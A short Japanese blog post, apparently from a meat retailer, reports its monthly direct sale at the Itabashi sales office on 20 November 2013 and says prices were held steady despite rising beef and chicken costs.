美味しいものは たまに食べるから美味しい…。
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11/20(水) 板橋営業所***即売会***
2013年11月20日 水曜日
今日、第3水曜日は 板橋営業所の 即売会の日。 国産牛や鶏肉の高騰がつづくなか 極力 価格を据え置いての 特売となった。  今年も あと来月の1回のみとなった訳だが 〝美味しいお肉をより安く安全に!”をコンセプト(商品の中心テーマ)に次回も頑張っていきたい。
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